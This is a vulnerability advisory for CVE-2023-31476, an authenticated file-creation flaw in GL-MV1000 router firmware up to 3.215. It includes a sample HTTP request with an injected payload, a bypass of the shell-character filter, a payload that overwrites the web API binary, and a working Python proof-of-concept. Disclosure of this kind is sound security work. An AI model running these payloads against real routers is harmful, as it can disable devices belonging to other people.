CVE-2023-31476: GL-MV1000 Arbitrary File Creation


CVE-2023-31476: GL-MV1000 Arbitrary File Creation

  • CVSS Score - 5.0, Medium (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H)
  • Overview - All GL-MV1000 devices running firmware <= 3.215 are vulnerable to an authenticated arbitrary file write, where an empty file can be created almost anywhere on the filesystem, as long as the filename and path is <= 6 characters long (the working directory is /www). This is due to a blind command injection vulnerability with a short character limit and filter applied. Example request below (note, you will be disconnected temporarily due to invalid MAC address):
1
2
3
4
5
6
7
8
POST /api/router/mac/clone HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 24

newmac=2:a:a:a:a:>/tmp/a
  • Description
    • The API endpoint /api/router/mac/clone takes a new MAC address in the newmac variable, does some (insufficient) checks on it to see if it’s valid, and then pipes it into a system command. The corresponding API function will check to ensure that the string is in the form ?:?:?:?:?:? (5 semicolons), where the first ? is an even number, and the exact length is 17 characters. While the intended format is 00:00:00:00:00:00, the string 2:a:a:a:a:>/tmp/a is also valid.
    • The system command being run is iw dev %s station dump | grep %s, with the newmac value in the second %s. Plugging in our malicious value gives us the command iw dev ? station dump | grep 2:a:a:a:a:>/tmp/a, which will pipe no results into the file /tmp/a (which it creates).
    • Since firmware 3.215, all string parameters are checked to determine if shell injection characters (like ; or | are being used), and any API requests with those special characters are immediately blocked. These characters include ;, |, &, (, ), $, and the backtick char. However, the > and < signs are not, hence allowing us this behavior. If this filter was not in place, then this vulnerability would be command injection, as the payload 2:a:a:a:a:;pwd would be valid, and the pwd command could be executed.
    • Note that this can also be used to overwrite existing files. For example, the payload 2:a:a:a:a:>api would overwrite the /www/api binary, making the web GUI completely unusable.
  • Steps to reproduce - run the Proof of Concept below using python3 exploit.py <domain/IP> <authtoken>, such as python3 exploit.py 192.168.8.1 80dafe40822e4a59b6daabd659617963

Fix

This was fixed in 3.216 by filtering out all > characters.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests, sys
import urllib.parse
import warnings
warnings.filterwarnings("ignore")


## Get arguments
if (len(sys.argv) < 3):
print("Usage: python3 exploit.py <domain/IP> <authtoken>")
sys.exit(1)

url = sys.argv[1]
token = sys.argv[2]


## Send request
data = "newmac=2:a:a:a:a:>/tmp/a"
headers = {'Authorization': token, 'Content-Type': 'application/x-www-form-urlencoded'}
response = requests.request("POST", "https://"+url+"/api/router/mac/clone", verify=False, timeout=4, data=data, headers=headers)


## Check response
try:
code = response.json()['code']
if code == -1:
print("[-] Auth token invalid")
elif code == 0:
print("[+] Command executed")
else:
sys.exit(1)
except:
print("[-] Machine not vulnerable, error was encountered")